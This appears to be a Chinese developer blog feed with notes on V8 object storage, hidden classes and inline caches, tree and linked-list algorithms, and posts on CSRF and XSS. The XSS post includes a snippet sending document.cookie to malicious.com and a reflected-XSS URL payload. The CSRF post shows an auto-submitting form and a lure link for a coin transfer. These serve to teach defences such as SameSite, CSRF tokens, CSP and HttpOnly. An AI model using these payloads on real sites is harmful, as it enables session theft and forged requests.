其中，隐藏类用于描述对象的结构。Property 和 Element 用于存放对象的属性，它们的区别主要体现在键名能否被索引。

Properties 与 Element#

在 V8 内部，为了有效地提升存储和访问这两种属性的性能，分别使用了两个线性数据结构Properties、Element来分别保存排序属性和常规属性

1
// 可索引属性会被存储到 Elements 指针指向的区域
2
{ 1: "a", 2: "b" }
3

4
// 命名属性会被存储到 Properties 指针指向的区域
5
{ "first": 1, "second": 2 }

这是为了满足 ECMA 规范要求所进行的设计。按照规范中的描述，可索引的属性应该按照索引值大小升序排列，而命名属性根据创建的顺序升序排列。

1
var a = { 1: "a", 2: "b", "first": 1, 3: "c", "second": 2 }
2

3
var b = { "second": 2, 1: "a", 3: "c", 2: "b", "first": 1 }
4

5
console.log(a)
6
// { 1: "a", 2: "b", 3: "c", first: 1, second: 2 }
7

8
console.log(b)
9
// { 1: "a", 2: "b", 3: "c", second: 2, first: 1 }

可以发现b的对象顺序和声明的不太一样。

可以看到索引属性【integer-indexed】(如1，2)按照升序排列。

而命名属性【named properties】(如first，second)则是按照声明顺序排列。

在同时使用索引属性和命名属性时可以看到两者发生了分隔。

https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/D630DD6D-DF09-4581-AEFE-5992B2B692A5_2/nEVKy9KtkmInODf89q56xrX4WiGye487ltYmeWjuXREz/image_cLrUIFtC9J.png

将属性分解成这两种线性数据结构之后，如果执行索引操作，那么 V8 会先从 elements 属性中按照顺序读取所有的元素，然后再在 properties 属性中读取所有的元素，这样就完成一次索引操作。

命名属性的不同存储方式#

通过上述，我们知道V8将不同属性保存在elements属性和properties属性中，这样简化了程序复杂度，但是查找元素时却多了一步操作，比如bar.B，V8会先找出properties属性所指向对象，然后在properties对象上查找B属性，这种方式增加一步操作，就会影响到元素的查找效率。

基于这个原因，V8使用一种权衡策略用以提高查找属性效率。这个策略就是将部分常规属性存储到对象本身，这种称为对象内属性(in-object-properties)

V8 中命名属性有三种的不同存储方式：对象内属性（in-object）、快属性（fast）和慢属性（slow）。

用例子来说明对象内属性、快属性和慢属性

1
function foo() {}
2

3
let a = new foo()
4
let b = new foo()
5
let c = new foo()
6

7
for(let i = 0; i<10; i++){
8
  a[new Array(i+2).join('a')] = 'aaa'
9
}
10
for(let i = 0; i<12; i++){
11
  b[new Array(i+2).join('b')] = 'bbb'
12
}
13
for(let i = 0; i<30; i++){
14
  c[new Array(i+2).join('c')] = 'ccc'
15
}

展开收起

a、b、c 三个对象分别有10、12、30个属性，分别会以对象内属性，对象内属性+快属性、对象内属性+慢属性这三种方式存储。

通过控制台执行上述脚本，在控制台的Memory内存处，获取内存快照，并在筛选框搜索foo。

https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/911CCF71-552C-4B2D-AB7C-E1686F9F2EFB_2/I2ScATQJwr1ysM6FhSbbLojslw0ZdL3HGDMR5qQmnTYz/image_2KAtm0sJlz.png

a - 对象内属性

https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/7DAB0AC1-9AC1-44AF-9C63-F79FC1E48B11_2/WTvOl2zPxR9txpcKTvZxkZXrowZRUCbg4jUl6xpcqxUz/image_-LgcBK4DoM.png

b - 对象内属性+快属性

https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/364A9FC2-6E22-44B0-9DC9-78161F7095A2_2/kAhypj9Acmd9SoXyWaamDxxqK8DstBcxmHEu8tnuZmoz/image_a6o-HosWZ7.png

c - 对象内属性+慢属性

https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/5BB29943-25AB-4733-9B6A-EE1374F83312_2/yWxrktmhSeHqvzHzryYAExPLqDrh3TGk5cU105qIhHEz/image_mJvvR0BUJC.png

结论与启示#

属性分为命名属性和可索引属性，命名属性存放在 Properties 中，可索引属性存放在 Elements 中。
命名属性有三种不同的存储方式：对象内属性、快属性和慢属性，前两者通过线性查找进行访问，慢属性通过哈希存储的方式进行访问。

V8如何执行JavaScript代码的

Sun, 25 May 2025 00:00:00 GMT

V8 Blog

什么是V8#

V8是一个由 Google 开发的开源 JavaScript 引擎，目前用在 Chrome 浏览器和 Node.js 中，其核心功能是执行易于人类理解的 JavaScript 代码。

img

V8是如何执行JavaScript代码的#

img

核心步骤分为编译和执行两步，首先需要将JavaScript代码转换为低级中间代码或者机器能理解的机器码，执行转换后的代码并输出结果。

可以将V8看成是一个虚拟机，通过模拟计算机的各种功能来实现代码的执行，比如模拟计算机的CPU、堆栈、寄存器等。虚拟机还具有它自己的一套指令系统。

高级代码为什么需要先编译后执行？#

CPU只能执行机器码，CPU可以被认为是一个非常小的运算机器，我们可以给机器发送1000100111011000的二进制指令。当执行到这条指令时，就会执行一个操作。

为了完成复杂任务，CPU存在一大堆指令，这一大堆指令就叫做指令集。指令集都是二进制代码，对于CPU来说它可以认识，但是对于程序员来说二进制难以阅读和记忆，于是在指令集基础上，有了会变指令集。可以参考如下

1
1000100111011000 机器指令
2
mov ax,bx 汇编指令

但是CPU并不能直接识别汇编语言，需要一个翻译官(汇编编译器)将汇编语言翻译为机器可以识别的二进制

img

虽然汇编已经将二进制代码进行了一次抽象，但是想要实现一个功能还需要大量汇编语言。

由于不同的CPU有不同的指令集，要使用机器语言或者汇编语言实现一个功能，需要在每种CPU下编写特定的汇编代码。

img

而且在编写汇编代码时，还需要了解和处理器、架构相关的硬件知识，比如需要操作寄存器、内存、操作CPU等。大部分程序员在编写应用时指向专心处理业务逻辑，不想过多理会处理器架构相关细节。

因此高级语言应运而生了。如C、C++、Java、C#、Python、JavaScript 等。可以适应不同CPU架构的语言，屏蔽了计算机架构细节，可以专心处理业务逻辑。

与汇编语言一样，处理器无法识别高级语言编写的代码，通常有两种方式来执行这些代码。

第一种是解释执行，需要先将输入的源代码通过解析器编译成中间代码，之后直接使用解释器解释执行中间代码，然后直接输出结果。

img

第二种是编译执行。采用这种方式时，也需要先将源代码转换为中间代码，然后我们的编译器再将中间代码编译成机器代码。通常编译成的机器代码是以二进制文件形式存储的，需要执行这段程序的时候直接执行二进制文件就可以了。还可以使用虚拟机将编译后的机器代码保存在内存中，然后直接执行内存中的二进制代码。

img

以上是计算机执行高级语言的两种基本的方式：解释执行和编译执行。但是不同语言，这个过程会有差异。

比如要执行 C 语言编写的代码，你需要将其编译为二进制代码的文件，然后再直接执行二进制代码。而对于像 Java 语言、JavaScript 语言等，则需要不同虚拟机，模拟计算机的这个编译执行流程。执行 Java 语言，需要经过 Java 虚拟机的转换，执行 JavaScript 需要经过 JavaScript 虚拟机的转换。

而对于JavaScript而言，虚拟机也是多个的，苹果用的JavaScriptCore，Firefox 使用了 TraceMonkey 虚拟机，而 Chrome 则使用了 V8 虚拟机。

V8是如何执行JavaScript代码的？#

V8作为JavaScript虚拟机的一种，是如何执行JavaScript的呢？ V8并没有采用解释或编译的其中一种手段，而是将两者混合起来，被称为JIT(Just In Time)技术。

这是一种权衡策略，解释和编译各有优缺点，解释启动快，但执行慢。编译启动慢，但是执行快。下面是V8执行JavaScript的流程图。

img

可以看左图部分，在V8启动执行JavaScript之前，它需要准备一些基础环境，这些基础环境包括了堆空间、栈空间、全局执行上下文、全局作用域、消息循环系统、内置函数等。比如：

JavaScript全局上下文包含了执行过程中全局信息，比如一些内置函数，全局变量等信息。
执行过程中的数据都需要存放在内存中，全局作用域包含一些全局变量。
V8用的是堆和栈的内存管理模式，因此V8需要初始化内存中的堆和栈结构。
还需要初始化消息循环系统，这是让V8系统动起来的关键，消息循环系统包含消息驱动器和消息队列，就像V8的大脑，不断接受消息并决策如何处理消息(比如请求、setTimeout、事件之类的)

在基础环境准备好后，V8就可以开始执行JavaScript代码了。

首先V8会接收到需要执行的JavaScript源码，但是对于V8而言这些代码只是一堆字符串，想要理解这些字符串就需要结构化这段字符串，通过分析(词法分析(tokenize)->语法分析(parse))分解为AST。AST是V8可以理解的结构。

生成AST的同时，V8还会生成相关作用域(执行上下文)，在作用域中存放相关变量。

在有AST和作用域后，解释器就可以生成字节码了，字节码是介于AST和机器代码的中间代码。

img

解释器可以直接逐行解释执行字节码，或者编译器将其编译为二进制的机器码执行。

在解释器下面有个机器人，这是用于监控解释器执行状态的模块，在解释器执行字节码时，如果发现某段代码被多次重复执行，这段代码就会被标记为热点代码。

当某段代码被标记为热点代码后，V8就会将这段字节码丢给编译器，编译器会将这段字节码编译为二进制代码，同时对编译后的二进制代码进行优化操作，使得这段二进制机器码执行效率大幅提升。如果再执行到这段热点代码时，V8会优先执行优化后的二进制机器码，这样整体的执行效率就会大幅提升。

V8-隐藏类和内联缓存IC

Sun, 25 May 2025 00:00:00 GMT

1
function loadX(o) {
2
  return o.x
3
}
4

5
loadX({ x: 1 })
6
loadX({ x: 2 })

对于以上的代码，底层是如何实现的呢？

首先我们看看TC39中ECMA262怎么描述的 ECMA262所描述的流程：

函数内部通过调用GET算法获取属性值。但是这存在一个问题，跟现代VM的速度差距太大了。这是因为解释器(生成字节码的)没有任何记忆，如下图

https://mrale.ph/images/2015-01-11/v8-vs-ox.png

找出给定属性在任意对象的位置是成本很高的，我们应当让解释器可以学习记忆，简化查找过程，最好能一次就查找到。

来看看V8获取o.x的流程：

查找对象O的隐藏类，再通过隐藏类查找x属性偏移量，然后根据偏移量获取属性值。

什么是隐藏类？#

V8中的隐藏类 V8会给每一个对象都分配一个隐藏类(Hidden Classes)，用于描述对象的形状。

intelligent design: 推断代码背后的思想(不知道你会怎么写，先假设，然后根据你的写法再去做优化)

为什么要有隐藏类？

对于C++这类静态类型语言，变量类型在定义时就决定了。

1
int x = 5 ;

C++编译器通过一条指令就可以知道变量x的类型和内存位置。

但由于JavaScript并不是预编译的，因此在JavaScript中相同的操作，每次执行程序时，引擎都必须检查它是整数还是浮点数，或者任何其他有效的数据类型。所以JavaScript中的每条指令都要经过几次类型检查和转换，这会影响到它的执行速度。

隐藏类在概念上类似于典型的面向对象编程语言中的类。但这个类并不是提前预知或定义的，而是在创建对象时即时创建隐藏类，并根据对象的变化而动态更新。隐藏类用于标识对象特征，也对 V8 编译器的优化和内联缓存起到非常重要的作用。

总结#

总是以相同的顺序初始化对象成员，能充分利用相同的隐藏类，进而提高性能。
增加或删除可索引属性，不会引起隐藏类的变化，稀疏的可索引属性会退化为哈希存储。
delete 操作可能会改变对象的结构，导致引擎将对象的存储方式降级为哈希表存储的方式，不利于 V8 的优化，应尽可能避免使用（当沿着属性添加的反方向删除属性时，对象不会退化为哈希存储）。

隐藏类是为了辅助进一步压缩重复查找的过程，提高对象的查找效率，这个加速函数执行的策略就是内联缓存 (Inline Cache)，简称为 IC。

什么是内联缓存#

在V8执行函数时，会观察函数中一些调用点 (CallSite) 上的关键的中间数据(如上文所说，可以认为是一种记忆)，当下次再执行时，V8可以利用这些中间数据，有效提升入参为相同隐藏类(的对象)的函数重复执行的执行效率。

分析流程如下

IC会为每个函数维护一个反馈向量(FeedBack Vector)，可以认为每个函数对应了一张表如下

每张表由很多项构成，每一项成为一个插槽(Slot)。V8会将loadX的中间数据写入反馈向量中的插槽里。

1
function loadX(o) {
2
   o.y = 4
3
   return o.x
4
 }

V8执行这段函数时，会认为o.y = 4 及 o.x为调用点(CallSite)，因为他们调用了对象及属性，这时V8就会在loadX函数的反馈向量里给每个调用点分配一个插槽。

每个插槽中包含了插槽索引、类型、状态及隐藏类地址(map)、以及属性的偏移量。比如上面两个函数中都使用了对象o，那么这两个插槽的map指向的是同一个隐藏类，地址是相同的。

让我们来通过字节码来分析在V8执行loadX函数时，是如何将关键数据写入到反馈向量中的。

loadX的代码如下所示

1
function loadX(o) {
2
    return o.x
3
}
4
loadX({x:1})

通过d8命令d8 --print-bytecode <js文件>

可以看到上述代码转换成的字节码，如下

1
GetNamedProperty a0, [0], [0]
2
Return

他的具体含义是

GetNamedProperty，取出参数a0中第一个属性值，并将属性值放到累加器中。a0后第一个[0]代表取参数的第一个属性值，第二个[0]就和反馈向量相关了，代表将操作的中间数据插入反馈向量的第一个插槽里。
Return 返回累加器中的属性值。

累加器：一个非常特殊的寄存器，用于保存中间结果。

观察上图会发现：

map一栏缓存的是o对象的隐藏类地址
type代表当前的操作类型，o.x这种访问对象属性的操作被称为LOAD。
state代表当前是单态(monomorphic)
offset缓存了属性x的偏移量

V8除了缓存o.x这种LOAD类型操作之外，还会缓存存储类型(STORE)和函数调用(CALL)类型的中间数据。

以下面的代码为例

1
function foo(){}
2
function loadX(o) {
3
    o.y = 4
4
    foo()
5
    return o.x
6
}
7
loadX({x:1,y:4})

将上述代码转换为字节码

1
LdaSmi [4]
2
SetNamedProperty a0, [0], [0]
3
LdaGlobal [1], [2]
4
Star0
5
CallUndefinedReceiver0 r0, [4]
6
GetNamedProperty a0, [2], [6]
7
Return

首先是

1
LdaSmi [4]
2
SetNamedProperty a0, [0], [0]

具体是将常数4加载到累加器中，然后通过SetNamedProperty将累加器中的4赋给o.y，这是一个存储(STORE)类型操作，将中间数据写入反馈向量的第1个插槽中。

执行foo

1
LdaGlobal [1], [2]
2
Star0
3
CallUndefinedReceiver0 r0, [4]

加载foo函数对象的地址到累加器中，这是通过LdaGlobal来完成的，然后V8将中间结果存放到反馈向量的第3个插槽，这是一个存储操作。

执行 CallUndefinedReceiver0调用foo函数，并将调用过程数据写入反馈向量的第5个插槽中，这是一个调用(CALL)类型操作。

查询o.x

1
GetNamedProperty a0, [2], [6]
2
Return

从a0参数中拿出第二个属性，并将中间数据写入反馈向量的第6个插槽中，这是一个加载(LOAD)类型操作。

说了这么多，它记录的实际意义是什么呢？

就是再loadX再次被执行，且入参的对象隐藏类与此前执行过的对象隐藏类相同时，在执行到return o.x 时，可以直接去反馈向量中根据偏移量直接查找到x属性所在位置，这样就可以大大提高V8的执行效率。

多态和超态#

在之前的案例中，我们说到相同对象形状同时有相同隐藏类的条件下，重复执行会降低查找效率。

但是如果是多种对象呢，V8会怎么处理这种情况。

1
function loadX(o) {
2
    return o.x
3
}
4
var o = { x: 1,y:3}
5
var o1 = { x: 3, y:6,z:4}
6
for (var i = 0; i < 10000; i++) {
7
    loadX(o)
8
    loadX(o1)
9
}

可以看到o和o1形状是完全不同的。

当第一次执行loadX时，v8会将o的隐藏类记录在插槽中。但当第二次执行时，入参是o1，通过与插槽中隐藏类的比对发现并不是相同的隐藏类，此时V8就无法使用反馈向量中记录的偏移量信息了。

对于这种情况，V8会将新的隐藏类也记录在反馈向量中，同时记录属性的偏移量，反馈向量此时第一个槽中就包含了两个隐藏类及偏移量。如下图所示

https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/2F4E1D78-7B67-47A7-BC77-FB8B38D8D52D/BDF9A6B0-95E0-4FCF-88F0-B4130ED377FA_2/6PMqoGWjDu2rAKZsyBmcNJP9O4NyeExOBrZyreZkjEsz/image_LKSRhAqUb0.png

当再次执行loadX中的o.x语句时，同样会查找反馈向量表，会发现第一个槽中记录了两个隐藏类。这时V8需要拿这个新的隐藏类和第一个插槽中的两个隐藏类来挨个比较，若相同，就用对应的偏移量，若不同则将新的隐藏类和偏移量添加到反馈向量的第一个插槽中。

若一个插槽中只包含1个隐藏类，这种状态叫单态。

若一个插槽中包含了2~4个隐藏类，这种状态叫多态。

若一个插槽中超过了4个隐藏类，这种状态叫超态。

若一个函数一直是单态的，其执行效率一定是最好的。如果是多态的情况，V8会用线性结构存储，可以挨个查找。若是超态的情况，则V8会采用hash表的结构存储。

https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/2F4E1D78-7B67-47A7-BC77-FB8B38D8D52D/3547C94E-1658-4492-BB61-2E80545C21BF_2/hkBDM9O7fv9x5quyQyxro5rbzXBiXyDFPlukaeAtoqAz/image_lqBsnb1NII.png

总结#

IC的本质就是让每个函数都有记忆，当第一次执行函数时，会将函数中的存储、加载、调用相关的中间结果保存到反馈向量中。当再次执行时，V8就会去反馈向量中查询相关中间信息，如果命中了，就可以直接利用。

单态的性能优于多态和超态。当你在写一个loadX(o)的函数时，尽量不要使用多个不同隐藏类的o对象。

单态不仅仅只应用于此处，对于JavaScript这门动态语言而言，引擎想要做优化，能准确推断数据结构非常重要，比如函数入参一直是字符串，那就会去调用内置方法中处理字符串的部分，次数多了就会转换为机器码。如果一会是字符串一会是数字，就会触发反优化，耗费性能。

如何通过d8深入分析对象

Sun, 25 May 2025 00:00:00 GMT

为了更深入理解JavaScript中的对象，需要安装d8(V8调试工具)

mac安装指导 windows安装指导

创建文件test.js

1
obj = { "second":2, 2: "b", 1: "a", "first": 1 };
2
%DebugPrint(obj);

执行命令 d8 --allow-natives-syntax test.js

d8命令参数解释

—allow-natives-syntax 的含义是允许调用V8内部调试方法。通过%DebugPrint() 这种方式我们可以看到相对于控制台memory内存快照中更深度的信息。

1
DebugPrint:
2
0x3c9d0010b481: [JS_OBJECT_TYPE]
3
 - map: 0x3c9d0025a4dd <Map[20](HOLEY_ELEMENTS)> [FastProperties] `隐藏类`
4
 - prototype: 0x3c9d00244a09 <Object map = 0x3c9d002440c5>
5
 - elements: 0x3c9d0010b4b1 <FixedArray[20]> [HOLEY_ELEMENTS]
6
 - properties: 0x3c9d000022a9 <FixedArray[0]>
7
 - All own properties (excluding elements): { `命名属性`
8
    0x3c9d00007591: [String] in ReadOnlySpace: #second: 2 (const data field 0), location: in-object
9
    0x3c9d00005755: [String] in ReadOnlySpace: #first: 1 (const data field 1), location: in-object
10
 }
11
 - elements: 0x3c9d0010b4b1 <FixedArray[20]> { `可索引属性`
12
           0: 0x3c9d000022fd <the_hole>
13
           1: 0x3c9d00004a4d <String[1]: #a>
14
           2: 0x3c9d00004a5d <String[1]: #b>
15
        3-19: 0x3c9d000022fd <the_hole>
16
 }
17
0x3c9d0025a4dd: [Map] in OldSpace `垃圾回收相关-老生代`
18
 - type: JS_OBJECT_TYPE
19
 - instance size: 20
20
 - inobject properties: 2 `对象内属性数量`
21
 - elements kind: HOLEY_ELEMENTS
22
 - enum length: invalid
23
 - back pointer: 0x3c9d0025a495 <Map[20](HOLEY_ELEMENTS)> `transition tree上指针`
24
 - instance descriptors (own) #2: 0x3c9d0010b509 <DescriptorArray[2]> `描述符数组`
25
 - prototype: 0x3c9d00244a09 <Object map = 0x3c9d002440c5> `原型`
26
 - constructor: 0x3c9d002445cd <JSFunction Object (sfi = 0x3c9d00217d3d)> `构造者`
27
 - dependent code: 0x3c9d000022b9 <Other `heap` object (WEAK_ARRAY_LIST_TYPE)> `存放位置`

展开收起

可以看到通过d8我们可以看到隐藏类、命名属性、可索引属性、垃圾回收相关内容。

树

Wed, 21 May 2025 00:00:00 GMT

数组和链表是所有数据结构的基础。

所有连续存储的都是通过数组模拟的，所有非连续存储的都是通过链表模拟的。

可以认为树结构是链表的一种变体。链表也可以看作是树的一种特殊情况——即没有分支的树（或者说是一个退化的树）

树这种结构的问题通常比较适合用递归去解决。

image-20250512145345058

前端工作中常见的树包括：DOM树，级联选择(菜单导航)，树形控件(文件系统)，组件树

JS中没有树，但是可以用Object和Array构建树。

树的常见操作：深度/广度优先遍历、先中后序遍历。

102. 二叉树的层序遍历

Wed, 21 May 2025 00:00:00 GMT

思路就是用BFS(广度优先遍历),用嵌套数组携带层级信息用于判断是哪一层

1
var levelOrder = function (root) {
2
  if(!root) return []
3
  const res = []
4
  const queue = [[root, 0]]
5
  while(queue.length) {
6
    const [ node, level ] = queue.pop()
7
    if(res[level]) {
8
      res[level].push(node.val)
9
    } else {
10
      res[level] = [node.val]
11
    }
12
    if(node.right) queue.push([node.right, level + 1])
13
    if(node.left) queue.push([node.left, level + 1])
14
  }
15
  return res
16
};

展开收起

二叉树的先中后序遍历

Wed, 21 May 2025 00:00:00 GMT

先序遍历根左右#

递归

1
var preorderTraversal = function(root) {
2
  const res = []
3
  const dfs = (root) => {
4
    if(root === null) return
5
    res.push(root.val)
6
    dfs(root.left)
7
    dfs(root.right)
8
  }
9
  dfs(root)
10
  return res
11
};

栈

1
var preorderTraversal = function(root) {
2
  if (!root) return;
3
  const res = []
4
  const stack = [root];
5
  while (stack.length > 0) {
6
    const node = stack.pop();
7
    res.push(node.val)
8
    // 注意：因为栈是LIFO，所以先压入右子节点，再压入左子节点
9
    if (node.right) stack.push(node.right);
10
    if (node.left) stack.push(node.left);
11
  }
12
  return res
13
};

中序遍历左根右#

递归

1
var inorderTraversal = function(root) {
2
  const res = []
3
  const dfs = (root) => {
4
    if(root === null) return
5
    dfs(root.left)
6
    res.push(root.val)
7
    dfs(root.right)
8
  }
9
  dfs(root)
10
  return res
11
};

后序遍历左右根#

递归

1
var postorderTraversal = function(root) {
2
  const res = []
3
  const dfs = (root) => {
4
    if(root === null) return
5
    dfs(root.left)
6
    dfs(root.right)
7
    res.push(root.val)
8
  }
9
  dfs(root)
10
  return res
11
};

树的深度优先和广度优先遍历

Wed, 21 May 2025 00:00:00 GMT

以看书为例子深度优先遍历就是看第一章节然后和第一章节内容，然后看完第一章节再看第二章节以及内容。广度优先遍历就是先看标题>>所有目录>>所有小节>>内容。

深度优先遍历(DFS)#

访问根节点。
对根节点的children挨个进行深度优先遍历。

image-20250512161044962

递归

1
const dfs = (root) => {
2
  if(root === null) return
3
  root.children.forEach(leaf => {
4
    console.log(leaf.val)
5
    dfs(leaf)
6
  })
7
}

栈

1
const dfs = (root) => {
2
  if(root === null) return
3
  const stack = [root]
4
  while(stack.length > 0) {
5
    const node = stack.pop();
6
    console.log(node.val)
7
    node.children.forEach(leaf => {
8
      stack.push(leaf)
9
    })
10
  }
11
}

广度优先遍历(BFS)#

新建一个队列，把根节点入队。
遍历队列
- 把队头出队并访问。
- 把队头的children 挨个入队。

重复2，直到队列为空。

image-20250512163432700

1
const bfs = (root) => {
2
    if (!root) return;
3

4
    const queue = [root];
5

6
    while (queue.length > 0) {
7
        const node = queue.shift();
8
        console.log(node.val);
9

10
        node.children.forEach(leaf => {
11
          queue.push(leaf);
12
        });
13
      }
14
    }
15
}

展开收起

CSRF攻击 - 陌生链接

Thu, 15 May 2025 00:00:00 GMT

全称 Cross-site request forgery 跨站请求伪造, 就是黑客引诱已经登录的用户打开黑客的网站, 然后在黑客网站中利用用户的登录状态来发起的跨站请求.

简单说CSRF攻击就是黑客利用用户的登录状态, 通过第三方站点来做坏事

攻击方式#

1.自动发起Get请求

比如此时你处于登录状态, 然后你打开了一个恶意链接, 这个链接的页面有一张图片, 图片的src就是一个Get请求, 当你打开这个链接的时候, 就会自动加载图片的src, 同时也执行了这个Get请求

2.自动发起Post请求

当用户打开黑客的页面之后, 会自动提交POST请求

1
<html>
2
<body>
3
  <h1>黑客的站点：CSRF攻击演示</h1>
4
  <form>
5
    <input />
6
    <input />
7
  </form>
8
  <script> document.getElementById('hacker-form').submit(); </script>
9
</body>
10
</html>

3.引诱用户点击链接

除了Get和Post之外, 还有一种是引诱用户点击黑客站点的链接, 经常出现在论坛和恶意邮件中, 比如有一个美女图片

1
<div>
2
  <img width="150" src="http://images.xuejuzi.cn/1612/1_161230185104_1.jpg" />  </div> <div>
3
  <a href="https://time.geekbang.org/sendcoin?user=hacker&amp;number=100">
4
    点击下载美女照片
5
  </a>
6
</div>

以上就是CSRF攻击, 和XSS不同, CSRF不需要将恶意代码注入用户页面, 只是利用服务器漏洞和用户的登录状态来攻击.

如何预防#

首先了解如何才能发起CSRF攻击, 第一要找到服务器漏洞, 第二需要用户保持登录状态, 第三要打开第三方站点, 满足这些条件黑客就可以对用户进行CSRF攻击了

有这么几个途径来预防

1.利用Cookie的SameSite属性

黑客利用用户的登录态进行攻击, Cookie就是浏览器和服务器之间维护登录状态的一个关键数据, 通常CSRF攻击都是从第三方站点发起的, 可以通过服务端设置响应头上添加set-cookie的属性SameSite来解决, 这样再第三方站点发起请求时请求头就不会带着Cookie .

SameSite的目的就是限制第三方网站利用Cookie发起请求, 设置了三种值 Strict/Lax/None

2.验证请求的来源站点

在服务端验证请求来源的站点, 服务器可以通过HTTP的请求头里的Referer和Origin属性来判断是否是第三方站点, 如果判断是第三方站点就直接禁止

Referer是HTTP请求头中的一个字段, 记录了该HTTP请求的来源地址, Referer可以告诉服务器HTTP的请求来源, 但是有些场景不适合将来源URL暴露给服务器, 因此浏览器提供给开发者一个选项, 可以不用上传Referer值.标准委员会又指定了Origin属性, 和Referer不同的是不包含路径信息. 因为有些站点出于安全考虑不愿意暴露源站点的详细路径信息.

image-20250515081704449

因此服务器的策略是优先判断Origin, 如果没有Origin , 再根据情况判断是否判断Referer值.

3.CSRF Token

token认证可以避免CSRF攻击就是在浏览器向服务器发送请求的时候, 服务器生成一个Token, 其实就是服务器生成的一个字符串, 每次发起请求时Token需嵌入到请求参数或头中（如隐藏表单字段、AJAX请求头），服务端验证token是否合法, 如果是第三方站点发出的请求就无法获取到token的值所以会被服务器拒绝,

浏览器安全-XSS攻击

Wed, 14 May 2025 00:00:00 GMT

全称Cross Site Scripting 就是跨网站脚本

也就是恶意程序往HTML文件中插入JS代码

image-20250514081323643

1
function onClick(){
2
  let url = `http://malicious.com?cookie = ${document.cookie}`
3
  open(url)
4
}
5
onClick()

攻击方式#

恶意脚本可以通过document.cookies窃取用户的 Cookie 数据，并将其作为参数添加至恶意站点尾部发送到黑客服务器中
可以通过监听用户行为获取用户输入的信用卡信息并发送给恶意服务器, 用的是JavaScript中的addEventListener 监听用户的键盘事件
可以通过修改DOM制造假的登录窗口, 欺骗用户输入用户名和密码等信息.
可以页内生成浮窗广告, 影响用户体验

这就是XSS攻击, 为了解决XSS攻击, 浏览器引入了内容安全策略, 称为CSP, CSP的核心思想就是让服务器可以决定浏览器加载哪些资源, 让服务器决定浏览器是否执行内联JavaScript代码. 这样就可以大大减少XSS攻击

XSS攻击种类#

存储性XSS 引入恶意脚本代码#

将恶意代码存储到有漏洞的服务器, 访问含有恶意脚本的页面就会自动加载恶意脚本, 然后恶意脚本就会上传你的cookie到他们的服务器

反射型XSS 放到URL上了#

比如说你设置了视图要展示xss参数, 然后点击了一个恶意链接是http://localhost:3000/?xss= <script>alert('你被xss攻击了')</script> 就会导致xss被替换成了<script>alert('你被xss攻击了')</script>

恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方（通常是搜索框），然后脚本反射（出现）在新渲染（或者部分刷新）的页面并执行。

基于DOM的XSS#

比如通过网络传输页面过程中修改HTML页面内容, 有的用wifi路由器劫持, 有的是本地恶意软件, 主要就是在web资源传输过程中或用户使用页面的过程中修改web页面的数据.

如何阻止XSS攻击#

对于存储型和反射型可以在前端过滤关键字以及服务端对一些关键的字符进行转码

比如对关键的字符进行转码, 比如把script标签包裹的内容全部替换成空, 这样就可以防止请求的时候携带脚本, 脚本也不会执行
充分利用CSP

在获取HTML时配置HTTP头Content-Security-Policy

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
1. 限制加载其他域下的资源文件这样即使插入了一个JavaScript脚本也不会被加载
2. 禁止向第三方域提交数据, 这样用户数据不会泄漏
3. 禁止执行内联脚本和未授权脚本
4. 还有上报机制, 可以帮助发现有哪些XSS攻击, 便于修复
使用HttpOnly属性

很多XSS攻击都是盗用cookie, 因此可以通过服务器设置响应头中的set-cookie中的HttpOnly属性来保护cookie的安全, 使用HttpOnly的cookie在控制台中也是不一样的, 无法用JavaScript来读取, 比如document.cookie就无法读取到了

image-20250514081731718

链表

Sun, 11 May 2025 00:00:00 GMT

链表是什么？#

多个元素组成的列表。
元素的存储不连续，用next指针连在一起。

image-20250505172151849

数组VS链表#

数组：增删非首尾元素往往需要移动元素。比如说在数组中间加一个元素，那么这个元素之后的元素都被向后移了一位。删除则是前移。

链表：增删非首尾元素，不需要移动元素，只需要更改next的指向就可以。

链表的优势：插入和删除非常快

时间复杂度取决于你找哪个元素，删除第一个就是O(1)，而删除最后一个就是O(n)

如何实现链表#

JavaScript中可以用Object模拟链表。

遍历链表#

1
const a = {val: 'a'}
2
const b = {val: 'b'}
3
const c = {val: 'c'}
4
const d = {val: 'd'}
5
a.next = b
6
b.next = c
7
c.next = d
8

9
let p = a
10
while (p){
11
    console.log(p.val)
12
    p = p.next
13
}

在链表中插入值#

添加e

1
const e = {val: 'e'}
2
b.next = e
3
e.next = c

在链表中删除值#

删除e

1
b.next = c

自动垃圾回收。

链表与前端相关的地方#

JS的原型链是一个链表。原型链是沿着__proto__指的。

工作中可以用链表指针获取JSON的节点值。

1
const json = { a: { b: 'hello' }, c: [1, 2] };
2
const path = ['a', 'b'];
3
let point = json;
4
path.forEach(key => { point = point[key] });

206.反转链表

Sun, 11 May 2025 00:00:00 GMT

双指针遍历

1
/**
2
 * @param {ListNode} head
3
 * @return {ListNode}
4
 */
5
var reverseList = function(head) {
6
    let prev = null; // 前一个节点
7
    let curr = head; // 当前节点
8
    while(curr) {
9
      const nextTemp = curr.next; // 临时保存下一个节点
10
      curr.next = prev;           // 反转当前节点的指针
11
      prev = curr;                // 向后移动 prev
12
      curr = nextTemp;            // 向后移动 curr
13
    }
14
    return prev; // 最后 curr 是 null，prev 是新头节点
15
};

展开收起

237. 删除链表中的节点

Sun, 11 May 2025 00:00:00 GMT

思路：删除的节点不会是最后一个，因此可以通过把后一个节点的值赋给当前要删除的节点，并把当前节点的next指针直接跳过后一个节点实现。

1
/**
2
 * @param {ListNode} node
3
 * @return {void} Do not return anything, modify node in-place instead.
4
 */
5
var deleteNode = function(node) {
6
    node.val = node.next.val
7
    node.next = node.next.next
8
};

队列

Mon, 05 May 2025 00:00:00 GMT

